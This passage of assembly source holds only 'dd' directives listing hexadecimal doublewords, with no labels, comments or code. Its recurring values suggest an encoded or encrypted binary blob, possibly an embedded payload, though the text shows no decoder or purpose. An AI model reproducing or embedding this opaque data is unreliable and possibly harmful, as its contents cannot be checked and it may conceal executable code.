dd 35FC0644h, 0CD156622h, 4A1ECC33h, 3FFC049Dh, 1A156644h dd 1C04B0F9h, 84F3C9BEh, 0DFD9F4B2h, 0C6A8EB25h, 3D128E41h dd 3215679Eh, 8F409E88h, 7FB470CFh, 0B31783E3h, 834A6BD4h dd 0BDE0E78Eh, 3304F1EAh, 0C53C3BCDh, 25A38990h, 3EFC4A2Ah dd 20156644h, 6176F30Ah, 0DD21512Eh, 651FEB62h, 0B13172CFh dd 38FC62E6h, 35156611h, 99E750E7h, 0A4ADA326h, 7FA8EDBAh dd 3D128619h, 32156E08h, 30956944h, 52156622h, 0CDEADF70h dd 3FFC9977h, 0F4156644h, 9AE0BE1Ch, 0EF113EB1h, 41BDC81Bh dd 3FFCA675h, 57156622h, 224D2AF0h, 0CC109488h, 0D4C05C8Fh dd 32717C4Ah, 1619EF11h, 32156631h, 0B8E46744h, 3BFC3F23h dd 98156611h, 0FC88D615h, 345AB49Ah, 0CAEDAE12h, 0CDEADC43h dd 0E43C9977h, 321F8F1Eh, 16BF6622h, 2B1132FBh, 0C9D3C987h dd 321561ADh, 0C2935C22h, 7EC32AA6h, 0B3925277h, 0DF94270h dd 74D575Fh, 36859FDh, 32156D61h, 3B423044h, 0D490F580h dd 7C9B73FDh, 0DB1D8F49h, 32156642h, 31A3F72Eh, 0F3240390h dd 3212E887h, 0B11A6644h, 32156623h, 3D5F9AE9h, 0CDEA390Dh dd 0B37306BBh, 8B7D6BE1h, 33B6D03Eh, 8D4237E9h, 6EEF18FBh dd 36311A0Bh, 8D103E4Eh, 52499CF6h, 321577ADh, 1F3CCB22h dd 2FC329B3h, 2FEF5BFBh, 0E9AA4F8Bh, 0EB94DC4Dh, 54B9A3E1h dd 36F9E5E9h, 0C53162CDh, 524D4236h, 3210ED1Eh, 0C6AF6688h dd 54232DD0h, 0DB74A8A9h, 3215661Fh, 89CC2943h, 0ACDFA421h dd 731C423Dh, 0B72CC29Bh, 35F57C3Dh, 32BFE24Bh, 3AFC6622h dd 1156611h, 0C843058Ah, 6729AC3Ch, 994DC84Ah, 0DFC43B53h dd 145A9309h, 8A45125Dh, 64BC01ADh, 0DAD4B6E6h, 0E740638Dh dd 0F73C3645h, 6FFDEF7Ah, 46DAE771h, 54169658h, 0CE6BA9C5h dd 0B3730643h, 8B8701FFh dd 76C7A01Dh, 3DD56D25h, 321578A7h, 33946911h, 0CA156688h dd 9F90A1B8h, 33128632h, 0DB156611h, 3215668Fh, 0E34E1E65h dd 6072B5AEh, 34CDCABh, 0B9C46788h, 0F6964250h, 0B9750626h dd 8D1A07C6h, 0C775075Eh, 320CE24Bh, 26FC6622h, 3E156611h dd 96CBAE3Fh, 6A9175CDh, 0A232133Ah, 0A465C7D9h, 538D92A8h dd 65E99E25h, 0A8481F4Ah, 0F5943936h, 40C36717h, 3B11DC16h dd 0E53425D2h, 0CD2E74Bh, 0BB483D5Eh, 0DA7539BDh, 3215662Eh dd 0B7B363FBh, 467B0AD3h, 0D0221B2Bh, 321560CAh, 62A4F411h dd 6BE3B882h, 0EAA2691Fh, 5B4F0E43h, 269E77C1h, 36D1E7ACh dd 52156644h, 0FBE2E744h, 0B91A075Ch, 32156682h, 321563ADh dd 0A4AC0922h, 52B89AFEh, 32157561h, 6BA44B44h, 879E70A9h dd 0C2D29500h, 0EC32A506h, 96269B8Dh, 3214E52Dh, 53ED6611h dd 29D8D301h, 3CFC61A4h, 0F3156622h, 0EB217FCAh, 26460C6Ah dd 42AC17D0h, 0FA7D35BCh, 691AC40Ah, 3CF09509h, 8C431563h dd 26E03B2h, 0F494B8E6h, 0BD7DD47Dh, 0B34B9565h, 0B71043C9h dd 0CE4BEF4Dh, 0B31A93D3h, 32156654h, 32156DCBh, 5423CD11h dd 0FBACEEE1h, 6FF4C272h, 0DCFB881Fh, 0A79069FFh, 52156688h dd 3211ED4Bh, 8B736622h, 0B3731806h, 5350C563h, 0EFC858C5h dd 0B71ABBFFh, 32156669h, 8C433774h, 5B773F1Ch, 7CE390A3h dd 0C39C1720h, 9C13A1D6h, 30D3553h, 5AE93F2Ch, 3215225Bh dd 8D315A01h, 32156640h, 0DB4A9823h, 32156601h, 0AB92673Fh dd 0EBCB11AEh, 0DCD943C6h, 0C9E4E25Bh, 29D8D301h, 3DE961A4h dd 32157FAFh, 32018F11h, 78E26688h, 6759AAA7h, 4AF741B5h dd 0F7E8B5F3h, 25F7401h, 34FC2EBAh, 3D156609h, 3215679Ch dd 0B2FC9388h, 0CBEA99BAh, 32118AA3h, 369C6611h, 38FC3DACh dd 6D156644h, 5AE435BFh, 8E6924F4h, 9F9055B6h, 0DB128654h dd 3215662Dh, 206CBDF0h, 6DB88492h, 0FF2EA6D1h, 0CA387248h dd 0CB16AED0h, 3453DFD9h, 0FA142836h, 1FC54F7Bh, 7C676057h dd 3211E087h, 81756644h, 0F2D4078Dh, 0FA249F01h, 6FFBE7E8h dd 0B25CA673h, 0BB74F7E1h, 0D205CB8Ch, 0DB75068Fh, 3215664Dh dd 9642ADD3h, 0E71B2E21h, 3D74071Ah, 32156ACAh, 32128F22h dd 0D4786611h, 0C0300CCCh, 32155BFCh, 0B11A6623h, 321567DEh dd 3219EA87h, 0B21A6644h, 32156624h, 3215E01Eh, 0C946688h dd 89AEDDFFh, 33A4E32Dh, 65EC6611h, 8E512437h, 70E2E74Ah dd 0BB1BDA66h, 1629ED2Fh, 0CB11A20Bh, 3211DD17h, 0EC146622h dd 0B1317A9Ah, 0DB75624Ch, 32156655h, 3F0D26FCh, 0CD3E351Eh dd 29EAA7CDh, 5A2D1F55h, 53EDED50h, 321DED1Eh, 0BF1A6688h dd 32156646h, 879C0742h, 35F57DDCh, 0B97306E8h, 0E5A269BEh dd 75AE0043h, 0B41A0776h, 32156682h, 321563ADh, 0BB7DD322h dd 0AF9E4B2Eh, 35F543E1h, 321DE34Bh, 0BA1A6622h, 32156613h dd 1EA07E8h, 0DE3152C5h, 0B905077Dh, 0F696421Dh, 0DEE4E78Ch dd 5205071Bh, 0B77DDE44h, 1E1659AAh, 674507BEh, 0DF0F0DF9h dd 16795704h, 0B34F3B15h, 0DF0F0D7Ah, 32188F62h, 0F6CA6622h dd 6B6CC61Eh, 0E1E37E4Bh, 3D8E61F5h, 321563ABh, 8D1A0611h dd 5275077Fh, 321561ADh, 0A94F0222h, 4B5041C1h, 60745138h dd 2A3162C5h, 0B956A677h, 0F6944215h, 3215668Ch, 0F2407E69h dd 35936961h, 3D156611h, 32156705h, 0B73E9A44h, 35F54973h dd 0B9739F71h, 0D2D4074Ah, 0B3730646h, 0B35869CCh, 0C1EF3CCAh dd 0B71607A6h, 35F57301h, 6515DE42h, 62743083h, 69E3EDEh dd 36D1E560h, 359D69DEh, 3D156611h, 32156700h, 0DBB89A44h dd 32156627h, 0B525CF56h, 1564B56h, 0FA14083Ch, 2EEDD975h dd 0D5D45333h, 7CF2E78Fh, 0B37B822Ah, 0B62876C5h, 71D2E77Ch dd 337B128Fh, 617539BCh, 0C4A2697Dh, 1651EF70h, 0DB749F94h dd 3215664Eh, 0B5988F71h, 0C9015E84h, 85FC49B7h, 3D156646h dd 321574A7h, 32188F11h, 6F956688h, 0EC7212A2h, 0DDE1E3ABh dd 0B3C6213Bh, 32156264h, 1619EF44h, 0F3E6E742h, 0C75E2DFAh dd 0D59C31E9h, 3211A1C5h, 0DD966622h, 1629E115h, 1601EFD4h dd 0CDA26924h, 3EFC07DAh, 6F156611h, 0E3A1A4Bh, 287D7674h dd 3DC30E2h, 269F69D8h, 0DB156688h, 3215664Bh, 0C5DA62Eh dd 50A417Bh, 0EA3ADE9Ch, 0B9199848h, 0D2064FB7h, 32128F16h dd 62926688h, 715163C4h, 3D175D46h, 3215CA95h, 32198F88h dd 0DA9B6644h, 0BC04969h, 0A31B4AB2h, 8C430D28h, 32156640h dd 6A31A4A3h, 0C01466B0h, 6A318C09h, 3D4B66E5h, 32157EA5h dd 32068F11h, 52846688h, 44723A84h, 2E2BC440h, 60140EECh dd 9A93C492h, 33AB30DFh, 33156622h, 26FC38E0h, 61156688h dd 7386183Fh, 65544A4Eh, 9171F7DBh, 8ABB45E1h, 9598E7Dh dd 0D20487AFh, 0B4906916h, 0CBEA9977h, 3215662Ch, 3EFC3E22h dd 0F8156611h, 1A89E39h, 0BBAA81A0h, 0BF3272B6h, 0D25B8E9Ch dd 0B71A068Fh, 3215664Bh, 32156FCAh, 0C36E3A11h, 43EB6D28h dd 0B84E2927h, 0D3EA07DAh, 7398EFE9h, 0DB1286A1h, 3215664Dh dd 0F2E8E2F4h, 19580B02h, 162199A9h, 36D1E71Eh, 3D156622h dd 32156397h, 0B9730688h, 6EA078Fh, 0F6963F06h, 2D7D9F15h dd 0BB1566A9h, 0B9ED4270h, 0D2300FBFh, 33996916h, 0C7156688h dd 1E9455BBh, 425F5F06h, 8C433F5Ah, 58AE59A5h, 0B3138885h dd 8B7A5CCh, 6CE467A7h, 7390ED70h, 3D12866Dh, 321573A9h dd 32058F11h, 4B836688h, 0A9E2C083h, 0CF1527FDh, 1ECD2975h dd 0D2C486E5h, 3212EF4Bh, 0BF1A6622h, 32156610h, 53906571h dd 0DB128662h, 32156625h, 0AFDAD79Ah, 3C3108Bh, 5A459AB2h dd 321558C8h, 6A315298h, 0DB759AD6h, 32156657h, 0C8A1058Ah dd 2428511Fh, 65BC324Dh, 1E4C6EA6h, 3DD2005Eh, 5474B6AEh dd 3D9A6925h, 0DB156644h, 32156628h, 0DD6BF9D0h, 0B425C41Ch dd 0D2D4F78Ah, 0B7169F20h, 35F57354h, 3218EA87h, 3AFC6644h dd 14156622h, 0D145E604h, 62CFE45Ah, 1611ED12h, 6C11A2A1h dd 32188FE8h, 37A6688h, 0D260B57Eh, 69000575h, 9F58964Dh dd 30389A74h, 373CC869h, 2C3E6895h, 8538AE10h, 370B4D86h dd 1BBB4B46h, 321575CBh, 11955811h, 409EF3Fh, 8A97DED5h dd 0A29F133Fh, 570C2C04h, 62315203h, 361086CDh, 37156622h dd 32156615h, 6E31620Fh, 0F99E0024h, 321569CAh, 85EB3F11h dd 686EC972h, 780AE22Ch, 858B9439h, 8F960748h, 35F55771h dd 0D9916945h, 52156622h, 0CB9F7DA5h, 33985DE9h, 3D12866Bh dd 3215BFA6h, 359E6911h, 3D156688h, 321567C0h, 0BF2E9E22h dd 35F55694h, 32D5E287h, 54756644h, 54255F9Bh, 0B772B490h dd 43985DE9h, 3D12865Fh, 3215CFA6h, 32018F11h, 0BEDC6688h dd 29B8406Fh, 52DCCDCDh, 2D281099h, 6C020B05h, 0AF983E6Fh dd 35FD52FBh, 0B3739A71h, 53AE2D56h, 3D75B5BBh, 321564A8h dd 0DAE2ED11h, 32156685h, 6893D29Bh, 0FEEBAA37h, 0D6111788h dd 6CCDED2Eh, 7E770E25h, 1E9C6622h, 0BBD0EF35h, 0B11A3B67h dd 32156645h, 32108FD7h, 0E1426611h, 0BB5B3988h, 0D23FA7C1h dd 32198F25h, 4E606611h, 0B5DEA711h, 6A384937h, 0CCFC5969h dd 3D15660Fh, 32157005h, 229D6944h, 0DB156622h, 3215661Ah dd 0DC5B7C3Eh, 35372C90h, 3D452C90h, 3215639Ah, 0B9730688h dd 0AF980786h, 35FD52FBh, 0BAE6E671h, 0E1EA0770h, 8F960724h dd 35F557DBh, 63916911h dd 0CB156688h, 26A4E37Fh, 0B61A61C2h, 32156639h, 36CAE7E8h dd 0B3484F8Bh, 221117E5h, 0B72E0707h, 35F5474Dh, 323FE34Bh dd 65756622h, 6BE6ED77h, 88DA109h, 0CB741D69h, 0CDEA7FCBh dd 32188FEEh, 0E5A66688h, 0C5119CCEh, 39571CBBh, 52CBA241h dd 53E2D987h, 634E37Fh, 0B71A61C2h, 32156665h, 321EE087h dd 34FC6644h, 0A7156622h, 2184D593h, 8F969AA4h, 35F570F5h dd 916922h, 52156611h, 97D11130h, 321B8F0Ch, 614C6622h dd 0A422A75Ch, 0FBE0565h, 0EF587126h, 9FA8E543h, 32128614h dd 323BE287h, 34FC6644h, 9B156622h, 0CEE7C7EBh, 5690EB37h dd 0CE1281F9h, 0CDEBFFCBh, 239E69EEh, 0DB156688h, 32156648h dd 0ED6FB2Dh, 1E3CECD5h, 6C530FE4h, 634E37Fh, 0B61A61C2h dd 0CDEA9867h, 0EA9530E8h, 0F6953DE4h, 0B21A0783h, 32156616h dd 0F29400E8h, 0B17496F6h, 0D5C0D69Fh, 0B71A6716h, 321566B5h dd 0D6905DBDh, 3D1281F7h, 32155694h, 0B7989F88h, 324C6DA0h dd 3213EE2Dh, 63756611h, 534C31D2h, 321574ADh, 0B6F92122h dd 9AA2FB2h, 0A3727B2Ah, 31120F1Bh, 0DBA64B82h, 0CDEA9854h dd 3DEA5771h, 321561CEh, 0E59E0622h, 53C6ED77h, 107CDB0Bh dd 3D1561A4h, 3205E5A6h, 32048F11h, 7B9A6688h, 3FCE73A7h dd 7D3E65E2h, 49E66328h, 52CB9356h, 0B9F6E722h, 0E29400BBh dd 9740056h, 0D5C0B60Dh, 1A906943h, 52156622h, 68FED877h dd 53068E08h, 3334E3CFh, 67EC61C2h, 0CDEA99ACh, 6FFA4F77h dd 32156CADh, 27318D22h, 907A667h, 94A707Fh, 0D5C0BEC1h dd 19906925h, 0CE156611h, 22C4E303h, 0B97561A4h, 894607F8h dd 0CDEA99EEh, 0DB4EB9A1h, 32156656h, 0F92E70D9h, 6F2D1250h dd 11EC9DE6h, 63C84FAh, 0B72EC00Bh, 35F2B3C5h, 323EE387h dd 52E96644h, 0CFF3E7DBh, 53207A7Dh, 2D88E303h, 39FC61A4h dd 0EC156622h, 6080276Bh, 2FA9D7CEh, 67E9B3D5h, 0CDEA999Fh dd 6FFA4FEEh, 0EE905D70h, 3D128191h, 32153EA7h, 20956911h dd 0DB156688h, 32156649h, 748B9530h, 0BDA130E4h, 0F16F36C9h dd 390EDB7h, 3D12860Eh, 32157294h, 3C926988h, 0DB156644h dd 3215662Bh, 0E8F8F17Ah, 4213BE51h, 39AF3441h, 0B37B3042h dd 9B8A92E3h, 68C24F19h, 32156AADh, 0E502FA22h, 0FBBBE48Fh dd 0A949D225h, 0D2905D86h, 3D1281F7h, 32152994h, 0BB1A0688h dd 32156647h, 3D9494A2h, 32157399h, 321A8E88h, 8A676644h dd 70A4324Fh, 0F7E502C1h, 0FC192E86h, 0B974393Bh, 0D2334BA7h dd 32128F16h, 96156688h, 75C2E0FFh, 33AE3514h, 33156611h dd 0B41A3D57h, 32156645h, 339C69D7h, 0CE156611h, 0E7F1E3B3h dd 0B71A61A3h, 32156618h, 321560F8h, 3480FB88h, 0B96B6F2Fh dd 0D22153A7h, 32108F16h, 63F46688h, 61BFDAECh, 32156799h dd 69CA6711h, 32157761h, 0E36C8E44h, 5AFF1A0h, 9BE0DD58h dd 2D68A15Eh, 0B72EE089h, 35F2B3CAh, 3256E31Eh, 0B21A6688h dd 32156643h, 3214E72Dh, 0B9E06611h, 0D206DF0Dh, 8B449F43h dd 32156623h, 0C74CA910h, 0EC9E00E8h, 321568ACh, 45703822h dd 18D578D2h, 0FDFC13DAh, 0DB622581h, 32156625h, 0E4D889BCh dd 6AA5078Bh, 0DE905D25h, 3D1281F7h, 32152E94h, 39FD0688h dd 0A4156644h, 762ACCFCh, 3D2B81ACh, 6847B172h, 8CAC001Ah dd 0B79E07B7h, 35F562A4h, 33AC3771h, 33156644h, 0B81A3FEDh dd 32156608h, 32157261h, 5EEF4444h, 0EA33BADDh, 7AF37FDCh dd 1104E31Ch, 0C663C7D2h, 0C2905DA4h, 3D1281C4h, 32152D0Dh dd 8A730644h, 6A45E617h, 2F90ED70h, 3D12869Ah, 32156AC0h dd 349B6922h, 3D156611h, 3215660Fh, 0F2AC3744h, 0F33BD843h dd 0E3E260F0h, 1DA78709h, 0C3941B50h, 2F7703CBh, 3473A790h dd 0DB946FD6h, 64D11686h, 524CA90Bh, 5336AC91h, 0E7E1E3B3h dd 0B71A61A3h, 32156615h, 285FD971h, 0B973487Fh, 0B79E07BEh dd 35F57FF7h, 32138FE4h, 0BCE6688h, 5D60B63Dh, 419DDF73h dd 0F35C626Ch, 0B35C6369h, 639A4485h, 6BDA6752h, 3214E31Eh dd 9E06688h, 0D5C09AC1h, 0B906925h, 0C7156611h, 534F34E8h dd 23A4E3CFh, 3DE061C2h, 32156E92h, 30926988h, 52156644h dd 0CDAC3743h, 1BEA99EEh, 0B9753F47h, 321F8E9Bh, 4D126622h dd 357EC261h, 0A881216Dh, 534B3914h, 0E7EDE319h, 0B71A61F6h dd 321566B2h, 3200EA4Bh, 0B11A6622h, 3215661Eh, 32156C61h dd 0C5B58B44h, 88FCE047h, 0B10A6918h, 0D2153735h, 0B71A6643h dd 32156630h, 0A790EDE4h, 0CA1286A7h, 3214DC16h, 0E5146622h dd 8F969E4Bh, 35F56E55h, 65916944h, 0C7156622h, 0E491E32Ah dd 0B71A616Fh, 3215660Eh, 321577CBh, 7279D311h, 0EBBD82AEh dd 43F0073Ah, 8451049Ah, 0B79ED929h, 35F561E5h, 321568ADh dd 0ACD46422h, 0C38D0455h, 1BCF7B2Fh, 6189B058h, 0F421AB99h dd 34F6A775h, 0C194B57Fh, 3985504h, 3D4EB90Bh, 32156799h dd 8F969F88h, 35F56211h, 6916922h, 0DB156613h, 3215668Dh dd 0F9D996B1h, 1BA8E582h, 32128607h, 3008E287h, 0DB756644h dd 32156632h, 9A8091C1h, 9CEF3248h, 9FC04D75h, 32907BAAh dd 974A59Ah, 0D5C30E0Dh, 1A906943h, 52156622h, 8873BBA6h dd 0B9747EF2h, 0D2107FC1h, 2CAC0625h, 3D4EEF4Ch, 6774BE37h dd 0CDEA99F9h, 6FFA4FDDh, 3214E81Eh, 9E96688h, 0D5C31EC1h dd 5C906925h, 0C7156611h, 32068FE8h, 82ED6644h, 7907564Ch dd 6EAB13F8h, 0EA715E8Dh, 60BE646Fh, 0B79E07AEh, 35F56268h dd 3214E087h, 52E06644h, 0D7CDE744h, 349B6980h, 3D156688h dd 321566C5h, 88470722h, 5F3250D3h, 520FAC09h, 70573A01h dd 0B3CF9160h, 0AA9C42FBh, 68C24F0Ah, 321E8F24h, 0FAF16622h dd 3876F0D4h, 95B13A47h, 0B3733192h, 6B3D9CD5h, 5E905D70h dd 3D12815Eh, 321520C1h, 0B3730622h, 53A9A6DAh, 2498E303h dd 23FC61A4h, 0DC156622h, 0C9E4E25Bh, 800983B2h, 35D8E0C5h dd 0C6EEDD45h, 6D75DB44h, 0DF944A78h, 66622880h, 0C51D83E3h dd 33F8E7CCh, 1B9389ECh, 54753BABh, 0B294E69Ch, 9742BE7h dd 0D5C31A0Dh, 1B906943h, 0C7156622h, 2B7CE39Ah, 0B2756168h dd 8375709Bh, 4A3CDFA9h, 53743566h, 737CDED8h, 375D0519h dd 0AEB7D8B5h, 524DA138h, 53E99E39h, 0E495E37Fh, 0B71A61C5h dd 3215663Fh, 32156B61h, 0A4DD9944h, 0EBCA45CAh, 49F47C7Ah dd 0B79EE60Ch, 35F54B75h, 0E11ADD42h, 0B373134Fh, 5375D86Ah dd 3214DF15h, 0FD146622h, 0B72E9E48h, 35F2B0F8h, 3253E34Bh dd 0B9E96622h, 0D20AAF94h, 0C395068Fh, 88470790h, 187B1A47h dd 1FB78490h, 0D8941BDAh, 5C87457Eh, 6EC8ACA3h, 0D8943392h dd 52B33203h, 5144ACC5h, 0F0943272h, 10B7F29Dh, 524FB189h dd 63ECD14Bh, 3215EE2Dh, 534F6611h, 0E461E3B3h, 0B71A61A3h dd 32156615h, 321575F8h, 1C318888h, 0F4F2F3C0h, 41D69C41h dd 7DDC569Ah, 0A6E54BFFh, 29F0E3CFh, 3DED61C2h, 32156E9Bh dd 30986988h, 52156644h, 33AD3643h, 33156611h, 0B1ED3E4Fh dd 0D2034FF9h, 0B61A6625h, 32156C51h, 32905D7Dh, 3D128192h dd 32152AA7h, 32108F11h, 0AA056688h, 3D8DA8ABh, 321570AEh dd 32048F11h, 999E6688h, 7A6BE8C1h, 0E85A90BEh, 8780C452h dd 0B92E5873h, 0D208B3C1h, 0D9940625h, 3867552h, 65749C03h dd 333162C7h, 3899697Dh, 0DB156611h, 3215668Dh, 0B863B91Eh dd 0A6905D71h, 3D1281C7h dd 3215260Dh, 209F6944h, 0DB156622h, 3215661Ch, 0F26D567Ch dd 53C56340h, 14185FA5h, 0D390EDBEh, 0DB1286A6h, 3215664Dh dd 9B644225h, 0C7872B1Bh, 93AB3072h, 0C537DC18h, 0B3C391FCh dd 77B607D7h, 6CE26755h, 36905DB8h, 3D1281F4h, 32154E94h dd 54759388h, 5385B6FFh, 2840E3A9h, 63ED61F1h, 0CDEA9931h dd 6BDA4FBBh, 34956942h, 3D156611h, 32156606h, 5317D544h dd 3A905DD7h, 3D1281C7h, 3215780Dh, 33906944h, 0C7156622h dd 2BB4E39Ah, 62ED6168h, 0CDEA99FCh, 6AD24FDDh, 88739E71h dd 9749C4Ch, 0D5C36AC1h, 7B906925h, 0DB156611h, 32156687h dd 0AE3ED46Ah, 1FB78DA9h, 71E2B83Ch, 0DB764221h, 3215664Fh dd 7D97BF36h, 365F427h, 0B9D870FDh, 0D202A7C1h, 8F409E25h dd 32156610h, 0DB488989h, 32156654h, 2E7D6474h, 161D81F6h dd 0F312A1D8h, 3DCDCEDh, 0E405E319h, 0B71A61F6h, 321566D1h dd 32156FADh, 0CC653F22h, 56EB5299h, 8F96A3DEh, 35F56615h dd 0C906922h, 0CA156611h, 10E4E303h, 0BA1A61A4h, 3215663Ah dd 321575F8h, 4DCB4388h, 6FFBAFC5h, 5F527256h, 6A825688h dd 0EA7B4E7Dh, 0CDEADD17h, 0ED3C99DDh, 389C694Ah, 52156688h dd 3215E84Bh, 0A8A36622h, 26905D70h, 3D12815Eh, 321551C1h dd 0BE1A9E22h, 3215661Bh, 3D4B36E8h, 321566C1h, 0B79E0722h dd 35F56658h, 3210E187h, 0B2756644h, 0B374ECFFh, 321562FDh dd 1629EF88h, 6D3162BBh, 0E6AC06DAh, 534FDFF0h, 0E40DE3B3h dd 0B71A61A3h, 32156608h, 63A8E5E9h, 32128688h, 3209E34Bh dd 0B9ED6622h, 0D2009F94h, 8C439F8Fh, 1FD6685Eh, 0E4E2B8D5h dd 0C3F3A090h, 0C53CB4B4h, 0B72E9E1Ah, 35F2B03Eh, 3228E31Eh dd 26FC6688h, 0D6156644h, 4EACD3E1h, 87BB906Ch, 0D52474CEh dd 0DEE8DEA6h, 0B9F80DB8h, 0D208A794h, 0CD429E8Fh, 0E9E4240h dd 36D1E506h, 321568F8h, 5EC6E588h, 50DDDD02h, 22B48E16h dd 9C259A2h, 0D5C3460Dh, 0C906943h, 0CA156622h, 321DEA1Eh dd 0B2756688h, 851A99AEh, 0B79E07D8h, 35F55258h, 0C39400E8h dd 60748042h, 126B8C98h, 0D8942C22h, 1351860h, 3D4FB145h dd 32156AA0h, 349C6911h, 3D156688h, 321566CEh, 1A905D22h dd 3D1281C7h, 32150F0Dh, 0FB940644h, 3C58A7F7h, 53ECD91Eh dd 32157761h, 0DD435844h, 2F2E161Eh, 0F2523797h, 74B3C275h dd 8F967009h, 35F56673h, 9906911h, 3D156688h, 321567CAh dd 0B79E9E22h, 35F5476Ch, 33AC3771h, 33156644h, 3D753FEDh dd 32157F98h, 32018F88h, 0E9156644h, 4BAE7B6Ch, 22C58823h dd 8BB34740h, 37A5F38Bh, 8D1AC316h, 0B72E07CAh, 35F2B0ACh dd 3290E34Bh, 0BA1A6622h, 32156619h, 3217EA87h, 53756644h dd 3244DBA1h, 3D1561F1h, 32150C0Dh, 32068F44h, 0A5FE6622h dd 0C2C28F7Ch, 43706E76h, 2A3BD67Ch, 0FEC2B59h, 0B79E9EA9h dd 35F557E1h, 321572ADh, 29CF9122h, 51E0F373h, 792F1F7Bh dd 0FFADB415h, 35FDBDBh, 0CDAE351Eh, 1BEA9977h, 3D753D9Bh dd 321565A1h, 0E4A26911h, 1FF59C37h, 26FC0726h, 0B5156622h dd 3E7D7436h, 0CEAEEC66h, 0A0368B12h, 702E7959h, 9D78C93h dd 0D5C34A0Dh, 0A3906943h, 3D156622h, 32156C95h, 0BF1A0688h dd 32156644h, 0B9743871h, 0D20CFF94h, 0DA46068Fh, 3215664Ch dd 4A4D029Ah, 0E3F84A49h, 20FC3CD7h, 0E9156644h, 0FEC60537h dd 6BDED54Dh, 0C393DB15h, 5B3ED381h, 21FC0779h, 0CA156611h dd 42222DD8h, 0E8D24B28h, 12460E9h, 0BDE7F429h, 8946F5B7h dd 0CDEA99BBh, 524EB90Bh, 9374DC71h, 3EFC4F55h, 0F5156644h dd 4D059BF6h, 0CE2040D2h, 532A4580h, 321574ADh, 0C7A24922h dd 0FC813D9Ch, 0FDFD84FFh, 80161F8Eh, 53B96C0Ch, 0E425E32Ah dd 0B71A616Fh, 3215665Bh, 32156FCBh, 50DC8B11h, 0D2D4CAA3h dd 0B79E3167h, 35F57C5Fh, 33AD36E9h, 33156688h, 9ED3E83h dd 0D5C352A7h, 72906916h, 3D156688h, 32156DC6h, 0B9730622h dd 329569E0h, 53156688h, 16E4E3CFh, 0BF1A61C2h, 32156603h dd 32156B61h, 0C6507E44h, 936820Dh, 5CAC3197h, 0FD920AD7h dd 0CDEA8FC5h, 0FD9299DDh, 3214EA1Eh, 9ED6688h, 0D5C35EC1h dd 7A906925h, 0DB156611h, 32156698h, 3F3BF9F5h, 0B837F9F7h dd 3EA89556h, 348A3F25h, 2BE4E3CFh, 62E061C2h, 8564E3A9h dd 194B63FDh, 0D0204FC4h, 338A51BEh, 3BFC3ED6h, 1F156688h dd 0F0BA6D0Bh, 0C866E29Eh, 32996971h, 3D156688h, 97491F3h dd 0D5C35AA7h, 7C906916h, 52156688h, 0ECA26915h, 3499697Dh dd 0B3156611h, 6E07F063h, 0B79E0752h, 35F562F7h, 321568F8h dd 86D3C888h, 0CD86DAFBh, 0B68E081Fh, 63CEC2B1h, 32156731h dd 6BDA6744h, 3206E32Dh, 3CFC6611h, 0F7156688h, 0D95E2289h dd 863BB2C0h, 0C07F5DD6h, 72905D3Fh, 3D128192h, 321502A7h dd 23986911h, 0DB156688h, 32156648h, 0F549C6EEh, 67BD16C2h dd 90CBF873h, 1E98E3CFh, 0B37561C2h, 7C192AE0h, 0B7AB00B3h dd 0FD9207E8h, 3214A7A3h, 0FD926611h, 32058FE8h, 7786644h dd 1EB33CD3h, 0BA02532h, 35ED2DCBh, 52751CACh, 32058E43h dd 3A4F6611h, 4B4700A9h, 70FBF27Fh, 0E66A055h, 534A8905h dd 76905DE9h, 3D128192h, 321522A7h, 8D730611h, 0E994A2D2h dd 5C9B8F3Eh, 0F90ED43h, 0CE128621h, 1DD8DBDDh, 0FF944789h dd 5FD341D2h, 0C550B3E6h, 31D0E75Dh, 1B875694h, 20FC3BCDh dd 0FF156611h, 0E8418674h, 772A571Eh, 0A9DE6323h, 0F680B52h dd 7A905D9Ch, 3D128192h, 32155CA7h, 32018F11h, 0C2A86688h dd 0C1FB01C0h, 0ECA5EEB8h, 4FC2AA8Dh, 0C9F98AE7h, 0B79E1BD3h dd 35F57B4Bh, 3213E31Eh, 0B9756688h, 534D36B6h, 0CDEADB77h dd 0DD3C99EEh, 0FA306D5h, 9743EF4h, 0D20D4BA7h, 1906916h dd 0CA156688h, 321563ADh, 85B1CA22h, 0B79E65C1h, 35F546E9h dd 33AB30B8h, 33156622h, 0DBEC38E6h, 3215669Ah, 392E30A6h dd 507D6EA9h, 1FE65185h, 273E97DCh, 0B72EEDB7h, 35F2B06Eh dd 3273E31Eh, 60756688h, 68C3D14Bh, 321560CBh, 0C1DCFA11h dd 5314EAF7h, 36D4E3CFh, 3EFC61C2h, 0A3156611h, 0B5E9FCF7h dd 0B21798EEh, 3D1791E5h, 32156197h, 33966988h, 0CE156644h dd 2458DC70h, 0F894472Bh, 300C78E5h, 59A384C5h, 0B357094Fh dd 660061D3h, 0E7D7E7AEh, 33A3E4A4h, 0BB1A3CF5h, 32156619h dd 329E69E8h, 53156644h, 0E49DE319h, 0B71A61F6h, 32156617h dd 0B201D924h, 0B21A0EA8h, 32156615h, 88CCDFEEh, 0A2A8E525h dd 321281F4h, 325BE31Eh, 0B31A6688h, 32156651h, 321E8F42h dd 0A01A6611h, 7280B907h, 10B5B42Dh, 0E19E0017h, 0CBA8E570h dd 321286B9h, 324CE24Bh, 0BF1A6622h, 32156608h, 32157261h dd 7B6E3244h, 8D916E65h, 8215B85Dh, 73BE41CEh, 0AE27E190h dd 339B69E2h, 0CE156611h, 664E303h, 0B41A61A4h, 32156629h dd 32966971h, 3D156688h, 6774AFF3h, 8F57AC9Fh, 0A4F0E759h dd 0B37AECF8h, 45AA1981h, 6FFA6795h, 3214E91Eh, 9E06688h dd 0D5C3EAC1h, 54906925h, 0C7156611h, 0E485DB0Bh, 3D1561A3h dd 321548A7h, 32108F11h, 0C1736688h, 0B1300DD6h, 0D2249F9Fh dd 0B61A6616h, 321566C9h, 0DBE4EC24h, 3215662Ch, 3AFC7227h dd 633B7DEEh, 0B20437Bh, 0B974DEE1h, 0D23ADB94h, 0B01A9F8Fh dd 32156643h, 3214E02Dh, 63E06611h, 32156731h, 6BDA6744h dd 3212E32Dh, 0B71A6611h dd 32156689h, 62905DB1h, 3D1281F4h, 32152294h, 3DFC0688h dd 0E1156644h, 0C3791277h, 0A81B41E2h, 0A6B5F22Dh, 0B3737839h dd 533BFFE5h, 130CE39Ah, 39FC6168h, 4F156644h, 0ADC9400Ah dd 26411CB2h, 64E058EFh, 321567FAh, 6CE26722h, 45A30671h dd 0E29E00E9h, 66905D25h, 3D1281F4h, 32153994h, 2B956988h dd 3D156644h, 321575ABh, 321B8F11h, 